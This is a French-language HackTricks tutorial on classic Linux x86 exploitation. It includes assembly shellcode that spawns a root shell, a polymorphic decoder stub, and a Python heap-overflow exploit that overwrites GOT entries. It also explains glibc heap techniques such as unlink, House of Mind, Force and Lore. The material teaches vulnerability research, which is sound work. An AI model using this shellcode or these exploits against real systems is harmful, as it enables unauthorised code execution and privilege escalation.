Linux Exploiting (Basic) (SPA)

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

2.SHELLCODE

Voir les interruptions du noyau : cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70 execve(“/bin/sh”, args[], NULL); // __NR_execve 11 exit(0); // __NR_exit 1

xor eax, eax ; nettoyer eax xor ebx, ebx ; ebx = 0 car il n'y a pas d'argument à passer mov al, 0x01 ; eax = 1 —> __NR_exit 1 int 0x80 ; Exécuter l'appel système

nasm -f elf assembly.asm —> Renvoie un .o ld assembly.o -o shellcodeout —> Donne un exécutable formé par le code assembleur et nous pouvons extraire les opcodes avec objdump objdump -d -Mintel ./shellcodeout —> Pour vérifier que c'est bien notre shellcode et extraire les opcodes

Vérifier que le shellcode fonctionne

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>

Pour vérifier que les appels système sont effectués correctement, vous devez compiler le programme précédent et les appels système doivent apparaître dans strace ./PROGRAMA_COMPILADO

Lors de la création de shellcodes, un truc peut être utilisé. La première instruction est un saut vers un appel. L'appel appelle le code original et place également l'EIP dans la pile. Après l'instruction d'appel, nous avons placé la chaîne dont nous avions besoin, de sorte qu'avec cet EIP, nous pouvons pointer vers la chaîne et continuer à exécuter le code.

EJ TRUCO (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>

EJ en utilisant la pile (/bin/sh) :

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs

Chasseur d'œufs :

Il s'agit d'un petit code qui parcourt les pages de mémoire associées à un processus à la recherche de la shellcode qui y est stockée (recherche d'une signature spécifique dans la shellcode). Utile dans les cas où il n'y a qu'un petit espace pour injecter du code.

Shellcodes polymorphiques

Ce sont des shells chiffrées qui contiennent un petit code pour les déchiffrer et y sauter, en utilisant l'astuce Call-Pop, voici un exemple de chiffrement César :

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5. Méthodes complémentaires

Technique de Murat

Sur linux, tous les programmes sont mappés à partir de 0xbfffffff.

En examinant comment la pile d'un nouveau processus est construite sur linux, il est possible de développer un exploit de sorte que le programme soit lancé dans un environnement où la seule variable est le shellcode. Son adresse peut alors être calculée comme suit : addr = 0xbfffffff - 4 - strlen(NOM_executable_complet) - strlen(shellcode)

De cette manière, l'adresse de la variable d'environnement contenant le shellcode peut être obtenue facilement.

Cela est possible grâce à la fonction execle qui permet de créer un environnement n'ayant que les variables d'environnement souhaitées.

Chaînes de format pour les débordements de tampon

La fonction sprintf déplace une chaîne formatée vers une variable. Par conséquent, il est possible d'abuser du formatage d'une chaîne pour provoquer un dépassement de tampon dans la variable où le contenu est copié. Par exemple, la charge utile %.44xAAAA écrira 44B+"AAAA" dans la variable, ce qui peut provoquer un dépassement de tampon.

Structures __atexit

De nos jours, il est très rare d'exploiter cela.

atexit() est une fonction à laquelle d'autres fonctions sont passées en tant que paramètres. Ces fonctions seront exécutées lors de l'exécution d'un exit() ou du retour au main. Si vous pouvez modifier l'adresse de l'une de ces fonctions pour pointer vers un shellcode par exemple, vous prendrez le contrôle du processus, mais c'est actuellement plus compliqué. Actuellement, les adresses des fonctions à exécuter sont cachées derrière plusieurs structures et finalement l'adresse vers laquelle elles pointent n'est pas celle des fonctions, mais elles sont chiffrées avec XOR et des décalages avec une clé aléatoire. Ainsi, ce vecteur d'attaque n'est actuellement pas très utile, du moins sur x86 et x64_86. La fonction de chiffrement est PTR_MANGLE. D'autres architectures telles que m68k, mips32, mips64, aarch64, arm, hppa... ne mettent pas en œuvre la fonction de chiffrement car elle renvoie la même chose qu'elle a reçue en entrée. Ainsi, ces architectures pourraient être attaquées par ce vecteur.

setjmp() & longjmp()

De nos jours, il est très rare d'exploiter cela.

Setjmp() permet de sauvegarder le contexte (les registres) longjmp() permet de restaurer le contexte. Les registres sauvegardés sont : EBX, ESI, EDI, ESP, EIP, EBP Le problème est que EIP et ESP sont passés par la fonction PTR_MANGLE, donc les architectures vulnérables à cette attaque sont les mêmes que celles mentionnées ci-dessus. Ils sont utiles pour la récupération d'erreurs ou les interruptions. Cependant, d'après ce que j'ai lu, les autres registres ne sont pas protégés, donc s'il y a un call ebx, call esi ou call edi à l'intérieur de la fonction appelée, le contrôle peut être pris. Ou vous pourriez également modifier EBP pour modifier ESP.

VTable et VPTR en C++

Chaque classe a une Vtable qui est un tableau de pointeurs vers des méthodes.

Chaque objet d'une classe a un VPtr qui est un pointeur vers le tableau de sa classe. Le VPtr fait partie de l'en-tête de chaque objet, donc si une modification du VPtr est réalisée, il pourrait être modifié pour pointer vers une méthode factice de sorte qu'en exécutant une fonction, le code malveillant soit atteint.

Mesures préventives et évasions

Remplacement de Libsafe

Activé par : LD_PRELOAD=/lib/libsafe.so.2 ou “/lib/libsave.so.2” > /etc/ld.so.preload

Il intercepte les appels à certaines fonctions non sécurisées par d'autres sécurisées. Ce n'est pas standardisé (uniquement pour x86, pas pour les compilations avec -fomit-frame-pointer, pas pour les compilations statiques, toutes les fonctions vulnérables ne deviennent pas sécurisées et LD_PRELOAD ne fonctionne pas sur les binaires avec suid).

Espace d'adressage ASCII Armored

Consiste à charger les bibliothèques partagées de 0x00000000 à 0x00ffffff pour qu'il y ait toujours un octet 0x00. Cependant, cela ne protège pas vraiment contre presque aucune attaque, surtout en little endian.

ret2plt

Consiste à réaliser un ROP de sorte qu'on appelle la fonction strcpy@plt (de la plt) et qu'on pointe vers l'entrée de la GOT pour copier le premier octet de la fonction à appeler (system()). Ensuite, on fait de même en pointant vers GOT+1 et en copiant le 2ème octet de system()... Enfin, on appelle l'adresse stockée dans la GOT qui sera system()

Cages avec chroot()

debootstrap -arch=i386 hardy /home/user —> Installe un système de base dans un répertoire spécifique

Un administrateur peut sortir de ces cages en faisant : mkdir foo; chroot foo; cd ..

Instrumentation de code

Valgrind —> Recherche d'erreurs Memcheck RAD (Return Address Defender) Insure++

8 Débordements de tas : Exploits de base

Bloc alloué

prev_size | size | —En-tête *mem | Données

Bloc libre

prev_size | size | *fd | Ptr chunk suivant *bk | Ptr chunk précédent —En-tête *mem | Données

Les blocs libres sont dans une liste doublement chaînée (bin) et il ne peut jamais y avoir deux blocs libres consécutifs (ils sont fusionnés)

Dans "size", il y a des bits pour indiquer : si le bloc précédent est utilisé, si le bloc a été alloué via mmap() et si le bloc appartient à l'arène principale.

Lorsqu'un bloc est libéré et que des blocs adjacents sont libres, ils sont fusionnés via la macro unlink() et le nouveau bloc le plus grand est passé à frontlink() pour qu'il l'insère dans le bon bin.

unlink(){ BK = P->bk; —> Le BK du nouveau chunk est celui qui était libre avant FD = P->fd; —> Le FD du nouveau chunk est celui qui était libre avant FD->bk = BK; —> Le BK du chunk suivant pointe vers le nouveau chunk BK->fd = FD; —> Le FD du chunk précédent pointe vers le nouveau chunk }

Ainsi, si nous parvenons à modifier P->bk avec l'adresse d'un shellcode et P->fd avec l'adresse d'une entrée dans la GOT ou DTORS moins 12, nous obtenons :

BK = P->bk = &shellcode FD = P->fd = &__dtor_end__ - 12 FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

Ainsi, le shellcode s'exécute à la sortie du programme.

De plus, la 4ème instruction de unlink() écrit quelque chose et le shellcode doit être ajusté pour cela :

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Cela provoque l'écriture de 4 octets à partir du 8ème octet du shellcode, donc la première instruction du shellcode doit être un jmp pour sauter cela et atteindre des nops qui mènent au reste du shellcode.

Ainsi, l'exploit est créé :

Dans le tampon1, nous insérons le shellcode en commençant par un jmp pour qu'il atteigne les nops ou le reste du shellcode.

Après le shellcode, nous insérons du rembourrage jusqu'à atteindre le champ prev_size et size du bloc suivant. À ces endroits, nous insérons 0xfffffff0 (pour écraser prev_size et indiquer qu'il est libre) et "-4" (0xfffffffc) dans size (pour que lors de la vérification dans le 3ème bloc si le 2ème était libre, il aille en réalité au prev_size modifié qui lui dira qu'il est libre) -> Ainsi, lorsque free() vérifie, il ira au size du 3ème mais en réalité ira au 2ème - 4 et pensera que le 2ème bloc est libre. Il appelle alors unlink(). En appelant unlink(), P->fd utilisera les premières données du 2ème chunk, où l'adresse à écraser sera insérée - 12 (car dans FD->bk, il ajoutera 12 à l'adresse stockée dans FD). Et à cette adresse, la deuxième adresse trouvée dans le 2ème chunk sera introduite, qui devrait être l'adresse de la shellcode (P->bk faux).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1

fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre

addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno

got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí

payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12

os.system("./8.3.o " + payload)

unset() liberando en sentido inverso (wargame)

Nous contrôlons 3 chunks consécutifs et ils sont libérés dans l'ordre inverse de leur réservation.

Dans ce cas :

Dans le chunk c, nous plaçons la shellcode.

Nous utilisons le chunk a pour écraser le b de manière à ce que la taille ait le bit PREV_INUSE désactivé, de sorte que le chunk a soit considéré comme libre.

De plus, nous écrasons la taille dans l'en-tête b pour qu'elle soit de -4.

Ainsi, le programme pensera que "a" est libre et dans un bin, donc il appellera unlink() pour le détacher. Cependant, comme l'en-tête PREV_SIZE vaut -4, il pensera que le chunk "a" commence réellement à b+4. Autrement dit, il fera un unlink() sur un chunk qui commence à b+4, donc à b+12 se trouvera le pointeur "fd" et à b+16 se trouvera le pointeur "bk".

De cette manière, si nous mettons l'adresse de la shellcode dans bk et l'adresse de la fonction "puts()" -12 dans fd, nous avons notre charge utile.

Technique de Frontlink

Frontlink est appelé lorsqu'un élément est libéré et aucun de ses chunks adjacents n'est libre, unlink() n'est pas appelé mais frontlink() est appelé directement.

Vulnérabilité utile lorsque le malloc attaqué n'est jamais libéré (free()).

Nécessite :

Un tampon pouvant être débordé avec la fonction de saisie de données.

Un tampon contigu à celui-ci qui doit être libéré et dont le champ fd de l'en-tête sera modifié grâce au débordement du tampon précédent.

Un tampon à libérer avec une taille supérieure à 512 mais inférieure au tampon précédent.

Un tampon déclaré avant l'étape 3 qui permet de remplacer le prev_size de celui-ci.

De cette manière, en réussissant à écraser deux mallocs de manière incontrôlée et un de manière contrôlée mais qui n'est libéré qu'une seule fois, nous pouvons réaliser une exploitation.

Vulnérabilité double free()

Si free() est appelé deux fois avec le même pointeur, deux bins pointent vers la même adresse.

Si l'on souhaite réutiliser l'un, il sera assigné sans problème. Si l'on souhaite utiliser l'autre, il se verra attribuer le même espace, ce qui fausserait les pointeurs "fd" et "bk" avec les données écrites par la réservation précédente.

After free()

Un pointeur précédemment libéré est réutilisé sans contrôle.

8 Débordements de tas : Exploits avancés

Les techniques Unlink() et FrontLink() ont été supprimées en modifiant la fonction unlink().

The house of mind

Seule une seule appel à free() est nécessaire pour provoquer l'exécution de code arbitraire. Il est intéressant de rechercher un deuxième chunk qui peut être débordé par un précédent et libéré.

Un appel à free() appelle public_fREe(mem), qui fait :

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Renvoie un pointeur à l'adresse où commence le chunk (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

Dans [1], il vérifie le champ size du bit NON_MAIN_ARENA, que l'on peut modifier pour que la vérification renvoie true et exécute heap_for_ptr() qui effectue un "et" sur "mem", laissant les 2,5 octets les moins significatifs à 0 (dans notre cas, de 0x0804a000, il laisse 0x08000000) et accède à 0x08000000->ar_ptr (comme s'il s'agissait d'une structure heap_info).

De cette manière, si nous pouvons contrôler un chunk par exemple à 0x0804a000 et qu'un chunk est sur le point d'être libéré à 0x081002a0, nous pouvons atteindre l'adresse 0x08100000 et écrire ce que nous voulons, par exemple 0x0804a000. Lorsque ce deuxième chunk est libéré, il constatera que heap_for_ptr(ptr)->ar_ptr renvoie ce que nous avons écrit à 0x08100000 (car il applique l'opération "et" que nous avons vue précédemment et en extrait la valeur des 4 premiers octets, l'ar_ptr).

Ainsi, _int_free(ar_ptr, mem) est appelé, c'est-à-dire, _int_free(0x0804a000, 0x081002a0) _int_free(mstate av, Void_t* mem){ … bck = unsorted_chunks(av); fwd = bck->fd; p->bk = bck; p->fd = fwd; bck->fd = p; fwd->bk = p;

..}

Comme nous l'avons vu précédemment, nous pouvons contrôler la valeur de av, car c'est ce que nous écrivons dans le chunk qui va être libéré.

Comme unsorted_chunks est défini, nous savons que : bck = &av->bins[2]-8; fwd = bck->fd = *(av->bins[2]); fwd->bk = *(av->bins[2] + 12) = p;

Par conséquent, si nous écrivons la valeur de __DTOR_END__-12 dans av->bins[2], à la dernière instruction, l'adresse de ce premier chunk sera écrite dans __DTOR_END__.

En d'autres termes, au début du premier chunk, nous devons mettre plusieurs fois l'adresse de __DTOR_END__-12 car c'est de là que av->bins[2] la récupérera.

À l'adresse où tombe l'adresse du deuxième chunk avec les 5 derniers zéros, nous devons écrire l'adresse de ce premier chunk pour que heap_for_ptr() pense que l'ar_ptr est au début du premier chunk et en extrait av->bins[2]. Dans le deuxième fragment, grâce au premier, nous écrasons prev_size avec un jump 0x0c et size avec quelque chose pour activer -> NON_MAIN_ARENA

Ensuite, dans le fragment 2, nous mettons beaucoup de nops et enfin le shellcode

Cela appellera _int_free(TROZO1, TROZO2) et suivra les instructions pour écrire dans __DTOR_END__ l'adresse de prev_size de TROZO2 qui sautera vers le shellcode.

Pour appliquer cette technique, il est nécessaire de remplir quelques conditions supplémentaires qui compliquent un peu plus la charge utile.

Cette technique n'est plus applicable car elle a été presque entièrement patchée comme pour unlink. On compare si le nouveau site pointé pointe également vers lui.

Fastbin

C'est une variante de The house of mind

nous voulons exécuter le code suivant qui est atteint après la première vérification de la fonction _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Où fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

De cette manière, si on le met dans "fb", cela donnera l'adresse d'une fonction dans la GOT, à cette adresse sera placée l'adresse du fragment écrasé. Pour cela, il sera nécessaire que l'arène soit proche des adresses des dtors. Plus précisément, av->max_fast doit être à l'adresse que nous allons écraser.

Puisque avec The House of Mind, nous avons vu que nous contrôlions la position de av.

Donc, si nous mettons une taille de 8 + NON_MAIN_ARENA + PREV_INUSE dans le champ size -> fastbin_index() nous renverra fastbins[-1], qui pointera vers av->max_fast

Dans ce cas, av->max_fast sera l'adresse qui sera écrasée (pas celle pointée, mais cette position sera écrasée).

De plus, il faut que le fragment contigu au fragment libéré soit plus grand que 8 -> Comme nous avons dit que la taille du fragment libéré est de 8, dans ce faux fragment, nous devons simplement mettre une taille supérieure à 8 (comme en plus le shellcode sera dans le fragment libéré, nous devrons mettre au début un jmp qui tombe dans les nops).

De plus, ce même faux fragment doit être plus petit que av->system_mem. av->system_mem est situé à 1848 octets plus loin.

En raison des zéros de _DTOR_END_ et des quelques adresses dans la GOT, aucune de ces adresses de ces sections ne convient pour être écrasée, donc voyons comment appliquer fastbin pour attaquer la pile.

Une autre forme d'attaque consiste à rediriger av vers la pile.

Si nous modifions la taille pour qu'elle soit de 16 au lieu de 8 alors : fastbin_index() nous renverra fastbins[0] et nous pouvons utiliser cela pour écraser la pile.

Pour cela, il ne doit y avoir aucun canary ni de valeurs étranges dans la pile, en fait nous devons nous trouver dans celle-ci : 4 octets nuls + EBP + RET

Les 4 octets nuls sont nécessaires pour que av soit à cette adresse et le premier élément d'un av est le mutex qui doit valoir 0.

av->max_fast sera l'EBP et sera une valeur qui nous permettra de contourner les restrictions.

Dans av->fastbins[0] sera écrasé avec l'adresse de p et sera le RET, ainsi il sautera vers le shellcode.

De plus, dans av->system_mem (1484 octets au-dessus de la position dans la pile) il y aura suffisamment de déchets qui nous permettront de contourner la vérification effectuée.

De plus, il faut que le fragment contigu au fragment libéré soit plus grand que 8 -> Comme nous avons dit que la taille du fragment libéré est de 16, dans ce faux fragment, nous devons simplement mettre une taille supérieure à 8 (comme en plus le shellcode sera dans le fragment libéré, nous devrons mettre au début un jmp qui tombe dans les nops qui viennent après le champ size du nouveau faux fragment).

The House of Spirit

Dans ce cas, nous cherchons à avoir un pointeur vers un malloc qui peut être modifié par l'attaquant (par exemple, le pointeur est sur la pile sous un éventuel débordement d'une variable).

Ainsi, nous pourrions faire pointer ce pointeur où nous voulons. Cependant, n'importe quel endroit n'est pas valide, la taille du faux fragment doit être inférieure à av->max_fast et plus spécifiquement égale à la taille demandée dans un futur appel à malloc()+8. Par conséquent, si nous savons qu'après ce pointeur vulnérable, un malloc(40) est appelé, la taille du faux fragment doit être égale à 48.

Par exemple, si le programme demande un nombre à l'utilisateur, nous pourrions entrer 48 et pointer le pointeur de malloc modifiable vers les 4 octets suivants (qui pourraient appartenir à l'EBP avec un peu de chance, ainsi le 48 reste derrière, comme s'il s'agissait de l'en-tête size). De plus, l'adresse ptr-4+48 doit remplir plusieurs conditions (dans ce cas ptr=EBP), c'est-à-dire, 8 < ptr-4+48 < av->system_mem.

Si cela est vrai, lorsque le prochain malloc est appelé, qui était malloc(40), l'adresse du EBP lui sera assignée. Si l'attaquant peut également contrôler ce qui est écrit dans ce malloc, il peut écraser à la fois l'EBP et l'EIP avec l'adresse qu'il souhaite.

Cela est dû au fait que lorsque free() est appelé, il enregistre que l'adresse pointée par l'EBP de la pile contient un fragment de taille parfaite pour le nouveau malloc() à réserver, il lui attribue donc cette adresse.

The House of Force

Il est nécessaire de :

  • Un débordement sur un fragment qui permet de remplacer le wilderness

  • Un appel à malloc() avec la taille définie par l'utilisateur

  • Un appel à malloc() dont les données peuvent être définies par l'utilisateur

La première chose à faire est de remplacer la taille du fragment wilderness par une valeur très grande (0xffffffff), de sorte que toute demande de mémoire suffisamment grande sera traitée dans _int_malloc() sans avoir besoin d'étendre le tas.

La deuxième étape consiste à modifier av->top pour qu'il pointe vers une zone de mémoire sous le contrôle de l'attaquant, comme la pile. Dans av->top, on mettra &EIP - 8.

Nous devons remplacer av->top pour qu'il pointe vers la zone de mémoire sous le contrôle de l'attaquant :

victime = av->top;

reste = chunck_at_offset(victime, nb);

av->top = reste;

Victime récupère la valeur de l'adresse du fragment wilderness actuel (l'actuel av->top) et reste est exactement la somme de cette adresse plus la quantité d'octets demandée par malloc(). Ainsi, si &EIP-8 est à 0xbffff224 et av->top contient 0x080c2788, alors la quantité que nous devons réserver dans le malloc contrôlé pour que av->top pointe vers $EIP-8 pour le prochain malloc() sera :

0xbffff224 - 0x080c2788 = 3086207644.

Ainsi, la valeur modifiée sera enregistrée dans av->top et le prochain malloc pointera vers l'EIP et pourra l'écraser.

Il est important de savoir que la taille du nouveau fragment wilderness soit plus grande que la demande faite par le dernier malloc(). Autrement dit, si le wilderness pointe vers &EIP-8, la taille sera juste dans le champ EBP de la pile.

The House of Lore

Corruption SmallBin

Les fragments libérés sont placés dans le bin en fonction de leur taille. Mais avant d'être placés, ils sont stockés dans unsorted bins. Lorsqu'un fragment est libéré, il n'est pas immédiatement placé dans son bin mais reste dans unsorted bins. Ensuite, s'il est demandé un nouveau fragment et que le fragment précédemment libéré peut être utilisé, il est renvoyé, mais s'il est demandé un fragment plus grand, le fragment libéré dans unsorted bins est placé dans son bin approprié.

Pour atteindre le code vulnérable, la demande de mémoire doit être supérieure à av->max_fast (72 normalement) et inférieure à MIN_LARGE_SIZE (512). Si dans les bins il y a un morceau de la taille demandée, il est renvoyé après avoir été détaché :

bck = victim->bk; Pointe vers le morceau précédent, c'est la seule information que nous pouvons altérer.

bin->bk = bck; Le dernier morceau devient l'avant-dernier, si bck pointe vers le stack au morceau suivant réservé, cette adresse lui sera donnée.

bck->fd = bin; La liste est fermée en faisant pointer ceci vers bin

Il est nécessaire de :

  • Réserver deux malloc, de sorte que le premier puisse être débordé après que le deuxième ait été libéré et introduit dans son bin (c'est-à-dire qu'un malloc supérieur au deuxième morceau ait été réservé avant le débordement)

  • Que le malloc réservé à l'adresse choisie par l'attaquant soit contrôlé par l'attaquant.

L'objectif est le suivant : si nous pouvons déborder un tas qui a en dessous un morceau déjà libéré et dans son bin, nous pouvons altérer son pointeur bk. Si nous altérons son pointeur bk et que ce morceau devient le premier de la liste du bin et est réservé, le bin sera trompé et on lui dira que le dernier morceau de la liste (le suivant à offrir) est à l'adresse fausse que nous avons spécifiée (par exemple, le stack ou la GOT). Ainsi, si un autre morceau est réservé et que l'attaquant a des permissions dessus, un morceau sera donné à l'adresse souhaitée et il pourra écrire dedans.

Après avoir libéré le morceau modifié, il est nécessaire de réserver un morceau plus grand que celui libéré, de sorte que le morceau modifié sorte des bins non triés et soit introduit dans son bin.

Une fois dans son bin, il est temps de modifier son pointeur bk via le débordement pour qu'il pointe vers l'adresse que nous voulons écraser.

Ainsi, le bin devra attendre que malloc() soit appelé suffisamment de fois pour que le bin modifié soit réutilisé et trompe le bin en lui faisant croire que le morceau suivant est à l'adresse fausse. Ensuite, le morceau qui nous intéresse sera donné.

Pour que la vulnérabilité soit exploitée le plus rapidement possible, l'idéal serait : réservation du morceau vulnérable, réservation du morceau à modifier, libération de ce morceau, réservation d'un morceau plus grand que celui à modifier, modification du morceau (vulnérabilité), réservation d'un morceau de même taille que celui violé et réservation d'un deuxième morceau de même taille qui pointera vers l'adresse choisie.

Pour protéger cette attaque, la vérification typique selon laquelle le morceau "n'est pas" faux est utilisée : on vérifie si bck->fd pointe vers victim. Autrement dit, dans notre cas, si le pointeur fd* du morceau faux pointé dans le stack pointe vers victim. Pour contourner cette protection, l'attaquant devrait être capable d'écrire d'une manière ou d'une autre (probablement via le stack) à l'adresse appropriée l'adresse de victim. Ainsi, cela ressemblera à un morceau réel.

Corruption LargeBin

Les mêmes exigences que précédemment sont nécessaires, ainsi que quelques autres, en plus les morceaux réservés doivent être supérieurs à 512.

L'attaque est similaire à la précédente, c'est-à-dire qu'il faut modifier le pointeur bk et toutes ces appels à malloc(), mais il faut également modifier la taille du morceau modifié de telle sorte que cette taille - nb soit < MINSIZE.

Par exemple, il faudra mettre la taille à 1552 pour que 1552 - 1544 = 8 < MINSIZE (la soustraction ne peut pas être négative car elle compare un unsigned)

De plus, un correctif a été introduit pour rendre les choses encore plus compliquées.

Heap Spraying

Il s'agit essentiellement de réserver autant de mémoire que possible pour les tas et de les remplir avec un matelas de nops suivi d'un shellcode. De plus, 0x0c est utilisé comme matelas. On essaiera donc de sauter à l'adresse 0x0c0c0c0c, et ainsi, si une adresse à laquelle on va appeler est écrasée avec ce matelas, on sautera là-bas. Fondamentalement, la tactique consiste à réserver autant que possible pour voir si un pointeur est écrasé et à sauter à 0x0c0c0c0c en espérant qu'il y ait des nops là-bas.

Heap Feng Shui

Il consiste à cimenter la mémoire en réservant et en libérant des morceaux de manière à ce qu'il reste des morceaux réservés entre des morceaux libres. Le tampon à déborder sera placé dans l'un de ces morceaux.

objdump -d executable —> Désassembler les fonctions objdump -d ./PROGRAMA | grep FUNCTION —> Obtenir l'adresse de la fonction objdump -d -Mintel ./shellcodeout —> Pour vérifier que c'est bien notre shellcode et obtenir les opcodes objdump -t ./exec | grep varBss —> Table des symboles, pour obtenir l'adresse des variables et fonctions objdump -TR ./exec | grep exit(func lib) —> Pour obtenir l'adresse des fonctions de bibliothèque (GOT) objdump -d ./exec | grep funcCode objdump -s -j .dtors /exec objdump -s -j .got ./exec objdump -t --dynamic-relo ./exec | grep puts —> Obtient l'adresse de puts à écraser dans le GOT objdump -D ./exec —> Désassembler TOUT jusqu'aux entrées de la plt objdump -p -/exec Info functions strncmp —> Info de la fonction en gdb

Cours intéressants

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour